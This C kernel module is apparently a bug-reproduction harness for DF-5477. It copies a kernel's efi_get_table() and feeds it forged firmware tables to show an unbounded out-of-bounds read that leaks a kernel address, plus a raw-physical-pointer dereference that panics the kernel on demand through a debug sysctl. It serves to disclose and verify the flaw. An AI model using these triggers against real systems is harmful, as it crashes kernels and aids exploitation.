/*
 * DF-5477 KLD harness — verbatim-copy demonstration of the unvalidated
 * firmware-fed config-table walk in efi_get_table()
 * (sys/platform/pc64/x86_64/efirt.c:469-487).
 *
 * The walk below is a line-for-line copy of the production function with
 * only the statics made module-local (the real efi_systbl/efi_cfgtbl cannot
 * be initialized on a BIOS-boot guest: efi_init() bails at the missing
 * MODINFOMD_EFI_MAP metadata, efirt.c:421-427, before assigning them).
 *
 * Part A (sysctl debug.df5477=1):
 *   Firmware truth: config table holds 2 entries. Firmware-fed lie:
 *   st_entries = 200. The walk reads 200 * 24 = 4800 bytes — far past the
 *   table's true extent — and "finds" the query UUID planted at entry 199,
 *   returning success plus PHYS_TO_DMAP(ct_data) = a kernel DMAP virtual
 *   address. st_entries is a firmware-fed u_long that is never
 *   bounds-checked against anything (efirt.c:477).
 *
 * Part B (sysctl debug.df5477=2):
 *   st_cfgtbl set to a realistic firmware PHYSICAL config-table address
 *   (0x7FB1C000, of the shape real firmware hands out before
 *   SetVirtualAddressMap — which this kernel never calls: rt_setvirtual has
 *   zero call sites). The production code at efirt.c:411-412 stores this
 *   raw value and the walk at efirt.c:480 dereferences it as a kernel
 *   VIRTUAL address. On this platform the DMAP begins at 0xffffb80000000000
 *   (high-half, 128 PML4 slots; verified empirically on this build), so low
 *   physical addresses are unmapped in the kernel pmap -> deterministic
 *   "Fatal user address access from kernel mode" panic (trap.c:917-926,
 *   pcb_onfault == NULL outside efi_enter()).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <sys/uuid.h>
#include <sys/efi.h>
#include <vm/vm.h>
#include <vm/pmap.h>
#include <machine/pmap.h>
#include <machine/vmparam.h>		/* DMAP_MIN_ADDRESS */

/* ---- module-local stand-ins for the efirt.c statics (efirt.c:67-69) ---- */
static struct efi_systbl *df_systbl;
static struct efi_cfgtbl *df_cfgtbl;

static MALLOC_DEFINE(M_DF5477, "df5477", "DF-5477 harness");

/*
 * VERBATIM copy of efi_get_table() — sys/platform/pc64/x86_64/efirt.c:469-487.
 * Only the names of the two statics differ; every expression, type and
 * comparison is identical to the production code.
 */
static int
df_efi_get_table(struct uuid *uuid, void **ptr)
{
	struct efi_cfgtbl *ct;
	u_long count;

	if (df_cfgtbl == NULL)
		return (ENXIO);
	count = df_systbl->st_entries;		/* efirt.c:477 — unbounded */
	ct = df_cfgtbl;				/* efirt.c:478 */
	while (count--) {			/* efirt.c:479 */
		if (!bcmp(&ct->ct_uuid, uuid, sizeof(*uuid))) {
			*ptr = (void *)PHYS_TO_DMAP(ct->ct_data); /* efirt.c:481 */
			return (0);
		}
		ct++;				/* efirt.c:484 */
	}
	return (ENOENT);
}

static const struct uuid df_query = {
	0x0DF54, 0x0770, 0x0007, 0x77, 0x77,
	{0x77, 0x77, 0x77, 0x77, 0x77, 0x77}
};

static int
df_part_a(void)
{
	struct efi_systbl *st;
	struct efi_cfgtbl *tbl;
	const int true_entries = 2;
	const int lie_entries = 200;
	const int canary_idx = 199;
	uint8_t *buf;
	int error, i;
	void *ptr = NULL;

	buf = kmalloc(lie_entries * sizeof(struct efi_cfgtbl), M_DF5477,
	    M_WAITOK | M_ZERO);
	tbl = (struct efi_cfgtbl *)buf;

	/* the two entries the firmware memory map actually describes */
	for (i = 0; i < true_entries; i++) {
		memset((void *)&tbl[i].ct_uuid, 0xAA + i, sizeof(struct uuid));
		tbl[i].ct_data = 0x11111111000UL + i;
	}

	/*
	 * Plant the query UUID where a real system would have unrelated
	 * kernel memory: past the true extent of the table, at the far end
	 * of the range the lied-about st_entries makes the walk cover.
	 */
	tbl[canary_idx].ct_uuid = df_query;
	tbl[canary_idx].ct_data = 0x00DEADBEEF000UL;	/* firmware-fed phys */

	st = kmalloc(sizeof(*st), M_DF5477, M_WAITOK | M_ZERO);
	st->st_entries = lie_entries;
	df_systbl = st;
	df_cfgtbl = tbl;

	kprintf("DF-5477A: true table extent = %d entries (%zu bytes); "
	    "st_entries = %d (lie); walk covers %zu bytes\n",
	    true_entries, (size_t)true_entries * sizeof(*tbl), lie_entries,
	    (size_t)lie_entries * sizeof(*tbl));
	kprintf("DF-5477A: query UUID planted at entry %d, byte offset %zu "
	    "(past true table end)\n", canary_idx,
	    (size_t)canary_idx * sizeof(*tbl));

	error = df_efi_get_table((__DECONST(struct uuid *, &df_query)), &ptr);
	if (error == 0)
		kprintf("DF-5477A: FOUND entry %d past table end -> returned "
		    "kernel DMAP pointer %p (leaked to ioctl caller)\n",
		    canary_idx, ptr);
	else
		kprintf("DF-5477A: not found (error %d)\n", error);

	return (error);
}

static void
df_part_b(void)
{
	static struct efi_systbl st;
	struct uuid q;
	void *p = NULL;

	memset(&q, 0, sizeof(q));
	st.st_entries = 2;
	df_systbl = &st;
	df_cfgtbl = (struct efi_cfgtbl *)0x7FB1C000;	/* physical, used raw */

	kprintf("DF-5477B: st_cfgtbl = physical 0x7FB1C000 used as KVA "
	    "(efirt.c:411-412, deref at :480); DMAP base = 0x%016lx; "
	    "dereferencing now...\n", (unsigned long)DMAP_MIN_ADDRESS);
	df_efi_get_table(&q, &p);		/* faults at ct->ct_uuid */
	kprintf("DF-5477B: NOT REACHED\n");
}

static int
df_sysctl(SYSCTL_HANDLER_ARGS)
{
	int val, error;

	val = 0;
	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 1)
		return (df_part_a());
	if (val == 2)
		df_part_b();
	return (0);
}

static int
df_modevent(module_t m, int event, void *arg __unused)
{
	switch (event) {
	case MOD_LOAD: {
		SYSCTL_PROC(_debug, OID_AUTO, df5477,
		    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl, "I",
		    "write 1=OOB walk demo, 2=phys-as-KVA fault demo");
		kprintf("DF-5477 harness loaded: sysctl debug.df5477=1 (OOB) "
		    "or =2 (fault)\n");
		return (0);
	}
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df5477_mod = { "df5477_harness", df_modevent, NULL };
DECLARE_MODULE(df5477_harness, df5477_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
